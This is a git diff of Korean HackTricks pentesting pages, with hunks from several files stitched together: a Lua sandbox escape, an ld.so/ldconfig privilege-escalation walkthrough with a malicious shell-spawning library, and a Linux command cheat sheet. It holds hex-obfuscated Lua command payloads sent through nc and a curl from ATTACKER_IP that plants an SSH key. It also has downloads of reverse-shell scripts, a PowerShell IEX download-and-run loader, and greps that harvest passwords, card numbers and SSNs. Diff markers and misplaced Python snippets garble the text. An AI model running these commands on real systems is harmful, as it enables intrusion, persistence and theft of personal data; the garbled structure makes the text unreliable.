|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lua Jails
|
||||
### Lua Jails
|
||||
|
||||
이 페이지에서는 루아 내에서 사용할 수 있는 전역 함수를 찾을 수 있습니다: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**명령 실행과 함께 평가하기:**
|
||||
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
|
||||
**점을 사용하지 않고 라이브러리의 함수를 호출하는 몇 가지 트릭**:
|
||||
|
||||
1. Using the `importlib` module:
|
||||
|
||||
```python
|
||||
import importlib
|
||||
mylib = importlib.import_module('mylib')
|
||||
|
@ -301,6 +290,7 @@ myfunc()
|
|||
```
|
||||
|
||||
2. Using the `__import__` function:
|
||||
|
||||
```python
|
||||
mylib = __import__('mylib')
|
||||
myfunc = getattr(mylib, 'myfunc')
|
||||
|
@ -308,27 +298,34 @@ myfunc()
|
|||
```
|
||||
|
||||
3. Using the `exec` function:
|
||||
|
||||
```python
|
||||
exec('from mylib import myfunc')
|
||||
myfunc()
|
||||
```
|
||||
|
||||
4. Using the `globals` function:
|
||||
|
||||
```python
|
||||
globals()['myfunc'] = __import__('mylib').myfunc
|
||||
myfunc()
|
||||
```
|
||||
|
||||
These tricks allow you to call functions from a library without using the dot notation, which can be useful in certain scenarios where the dot notation is restricted or not allowed.
|
||||
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
|
||||
라이브러리의 함수 열거하기:
|
||||
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
|
||||
다른 lua 환경에서 이전의 원 라이너를 실행할 때마다 함수의 순서가 변경됩니다. 따라서 특정 함수를 실행해야 하는 경우 다른 lua 환경을 로드하고 le 라이브러리의 첫 번째 함수를 호출하는 브루트 포스 공격을 수행할 수 있습니다.
|
||||
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
|
@ -339,24 +336,17 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
|||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
|
||||
**대화형 lua 쉘 얻기**: 제한된 lua 쉘 내에서 새로운 lua 쉘(그리고 희망적으로 무제한 쉘)을 얻으려면 다음을 호출하십시오:
|
||||
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
## 참고 자료
|
||||
|
||||
### 참고 자료
|
||||
|
||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (슬라이드: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# ld.so 권한 상승 exploit 예제
|
||||
# ld.so privesc exploit example
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -18,8 +18,6 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
다음 섹션에서는 환경을 설정하기 위해 사용할 파일의 코드를 찾을 수 있습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include "libcustom.h"
|
||||
|
@ -30,7 +28,6 @@ vuln_func();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="libcustom.h" %}
|
||||
|
||||
```c
|
||||
#ifndef LIBCUSTOM_H
|
||||
|
@ -41,13 +38,11 @@ void custom_function();
|
|||
#endif
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
{% tab title="libcustom.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -57,7 +52,6 @@ void custom_function() {
|
|||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -66,6 +60,7 @@ void vuln_func()
|
|||
puts("Hi");
|
||||
}
|
||||
```
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Korean" %}
|
||||
1. 동일한 폴더에 이러한 파일을 **생성**합니다.
|
||||
|
@ -73,11 +68,12 @@ puts("Hi");
|
|||
3. `libcustom.so`를 `/usr/lib`로 **복사**합니다: `sudo cp libcustom.so /usr/lib` (루트 권한)
|
||||
4. **실행 파일을 컴파일**합니다: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### 환경 확인
|
||||
#### 환경 확인
|
||||
|
||||
_libcustom.so_가 _/usr/lib_에서 **로드**되고 실행 파일을 **실행**할 수 있는지 확인합니다.
|
||||
\_libcustom.so\_가 \_/usr/lib\_에서 **로드**되고 실행 파일을 **실행**할 수 있는지 확인합니다.
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
|
@ -89,14 +85,18 @@ $ ./sharedvuln
|
|||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
이 시나리오에서는 _/etc/ld.so.conf/_ 파일 내에 **취약한 항목을 생성한 사람**이 있다고 가정합니다:
|
||||
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
취약한 폴더는 _/home/ubuntu/lib_입니다(쓰기 권한이 있는 곳입니다).\
|
||||
|
||||
취약한 폴더는 \_/home/ubuntu/lib\_입니다(쓰기 권한이 있는 곳입니다).\
|
||||
다음 코드를 해당 경로에 **다운로드하고 컴파일**하세요:
|
||||
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
|
@ -111,9 +111,11 @@ printf("I'm the bad library\n");
|
|||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
이제 **잘못 구성된 경로 내에 악성 libcustom 라이브러리를 생성**했으므로, **재부팅**을 기다리거나 루트 사용자가 **`ldconfig`**를 실행하도록 기다려야 합니다. (_sudo로 이 바이너리를 실행할 수 있거나 suid 비트가 설정되어 있다면 직접 실행할 수 있을 것입니다_).
|
||||
|
||||
이제 **잘못 구성된 경로 내에 악성 libcustom 라이브러리를 생성**했으므로, **재부팅**을 기다리거나 루트 사용자가 \*\*`ldconfig`\*\*를 실행하도록 기다려야 합니다. (_sudo로 이 바이너리를 실행할 수 있거나 suid 비트가 설정되어 있다면 직접 실행할 수 있을 것입니다_).
|
||||
|
||||
이 과정이 완료되면 `sharevuln` 실행 파일이 `libcustom.so` 라이브러리를 어디에서 로드하는지 **재확인**하세요.
|
||||
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
|
@ -121,7 +123,9 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
|
||||
보시다시피 **`/home/ubuntu/lib`에서 로드**하고 있으며, 사용자가 실행하면 셸이 실행됩니다:
|
||||
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
|
@ -129,6 +133,7 @@ I'm the bad library
|
|||
$ whoami
|
||||
ubuntu
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
이 예제에서는 권한 상승을 하지 않았지만, 실행되는 명령을 수정하고 **루트 또는 다른 특권 사용자가 취약한 이진 파일을 실행하도록 기다린다면** 권한 상승이 가능합니다.
|
||||
{% endhint %}
|
||||
|
@ -143,13 +148,16 @@ ubuntu
|
|||
**`ldconfig`에 대한 sudo 권한이 있다고 가정해 봅시다**.\
|
||||
`ldconfig`가 **어디에서 구성 파일을 로드할지를 지정**할 수 있으므로, 우리는 이를 이용하여 `ldconfig`가 임의의 폴더를 로드하도록 할 수 있습니다.\
|
||||
그러므로, "/tmp"를 로드하기 위해 필요한 파일과 폴더를 생성해 봅시다:
|
||||
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
|
||||
이제, **이전 공격**에서 나타난대로, **`/tmp` 디렉토리 안에 악성 라이브러리를 생성**합니다.\
|
||||
마지막으로, 경로를 로드하고 이진 파일이 라이브러리를 어디에서 로드하는지 확인해 봅시다:
|
||||
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
|
@ -159,6 +167,7 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
|
||||
**sudo 권한을 통해 `ldconfig`에 대한 권한 상승 취약점을 악용할 수 있습니다.**
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -180,7 +189,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
351
linux-hardening/useful-linux-commands.md
Normal file
351
linux-hardening/useful-linux-commands.md
Normal file
|
@ -0,0 +1,351 @@
|
|||
# 유용한 Linux 명령어
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 일반적인 Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
||||
#Get HexDump without new lines
|
||||
xxd -p boot12.bin | tr -d '\n'
|
||||
|
||||
#Add public key to authorized keys
|
||||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||
|
||||
#Echo without new line and Hex
|
||||
echo -n -e
|
||||
|
||||
#Count
|
||||
wc -l <file> #Lines
|
||||
wc -c #Chars
|
||||
|
||||
#Sort
|
||||
sort -nr #Sort by number and then reverse
|
||||
cat file | sort | uniq #Sort and delete duplicates
|
||||
|
||||
#Replace in file
|
||||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||
|
||||
#Download in RAM
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
|
||||
#Files used by network processes
|
||||
lsof #Open files belonging to any process
|
||||
lsof -p 3 #Open files used by the process
|
||||
lsof -i #Files used by networks processes
|
||||
lsof -i 4 #Files used by network IPv4 processes
|
||||
lsof -i 6 #Files used by network IPv6 processes
|
||||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||
lsof +D /lib #Processes using files inside the indicated dir
|
||||
lsof -i :80 #Files uses by networks processes
|
||||
fuser -nv tcp 80
|
||||
|
||||
#Decompress
|
||||
tar -xvzf /path/to/yourfile.tgz
|
||||
tar -xvjf /path/to/yourfile.tbz
|
||||
bzip2 -d /path/to/yourfile.bz2
|
||||
tar jxf file.tar.bz2
|
||||
gunzip /path/to/yourfile.gz
|
||||
unzip file.zip
|
||||
7z -x file.7z
|
||||
sudo apt-get install xz-utils; unxz file.xz
|
||||
|
||||
#Add new user
|
||||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||
|
||||
#Clipboard
|
||||
xclip -sel c < cat file.txt
|
||||
|
||||
#HTTP servers
|
||||
python -m SimpleHTTPServer 80
|
||||
python3 -m http.server
|
||||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||
php -S $ip:80
|
||||
|
||||
#Curl
|
||||
#json data
|
||||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||
#Auth via JWT
|
||||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||
|
||||
#Send Email
|
||||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||
|
||||
#DD copy hex bin file without first X (28) bytes
|
||||
dd if=file.bin bs=28 skip=1 of=blob
|
||||
|
||||
#Mount .vhd files (virtual hard drive)
|
||||
sudo apt-get install libguestfs-tools
|
||||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||
|
||||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||
ssh-keyscan 10.10.10.101
|
||||
|
||||
# Openssl
|
||||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||
# Decrypt ssh key
|
||||
openssl rsa -in key.ssh.enc -out key.ssh
|
||||
#Decrypt
|
||||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||
|
||||
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||
perf stat -x, -e instructions:u "ls"
|
||||
|
||||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||
|
||||
#Reconfigure timezone
|
||||
sudo dpkg-reconfigure tzdata
|
||||
|
||||
#Search from which package is a binary
|
||||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||
|
||||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||
|
||||
#Set not removable bit
|
||||
sudo chattr +i file.txt
|
||||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Windows용 Bash
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
||||
#Exe compression
|
||||
upx -9 nc.exe
|
||||
|
||||
#Exe2bat
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
#Compile Windows python exploit to exe
|
||||
pip install pyinstaller
|
||||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||
python pyinstaller.py --onefile exploit.py
|
||||
|
||||
#Compile for windows
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
|
||||
## 그렙스
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
||||
#Extract valid IP addresses
|
||||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||
|
||||
#Extract passwords
|
||||
grep -i "pwd\|passw" file.txt
|
||||
|
||||
#Extract users
|
||||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||
|
||||
# Extract hashes
|
||||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||
#Extract valid MySQL-Old hashes
|
||||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||
#Extract blowfish hashes
|
||||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||
#Extract Joomla hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||
#Extract VBulletin hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||
#Extraxt phpBB3-MD5
|
||||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||
#Extract Wordpress-MD5
|
||||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||
#Extract Drupal 7
|
||||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||
#Extract old Unix-md5
|
||||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||
#Extract md5-apr1
|
||||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||
#Extract sha512crypt, SHA512(Unix)
|
||||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||
|
||||
#Extract e-mails from text files
|
||||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||
|
||||
#Extract HTTP URLs from text files
|
||||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||
#For extracting HTTPS, FTP and other URL format use
|
||||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||
|
||||
#Extract Floating point numbers
|
||||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||
|
||||
# Extract credit card data
|
||||
#Visa
|
||||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||
#MasterCard
|
||||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||
#American Express
|
||||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||
#Diners Club
|
||||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||
#Discover
|
||||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||
#JCB
|
||||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||
#AMEX
|
||||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||
|
||||
# Extract IDs
|
||||
#Extract Social Security Number (SSN)
|
||||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||
#Extract Indiana Driver License Number
|
||||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||
#Extract US Passport Cards
|
||||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||
#Extract US Passport Number
|
||||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||
#Extract US Phone Numberss
|
||||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## 찾기
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
||||
# Find SGID set files.
|
||||
find / -perm /g=s -ls 2>/dev/null
|
||||
|
||||
# Found Readable directory and sort by time. (depth = 4)
|
||||
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Writable directory and sort by time. (depth = 10)
|
||||
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Newer files and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer files only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer directory only and sort by time. (depth = 5)
|
||||
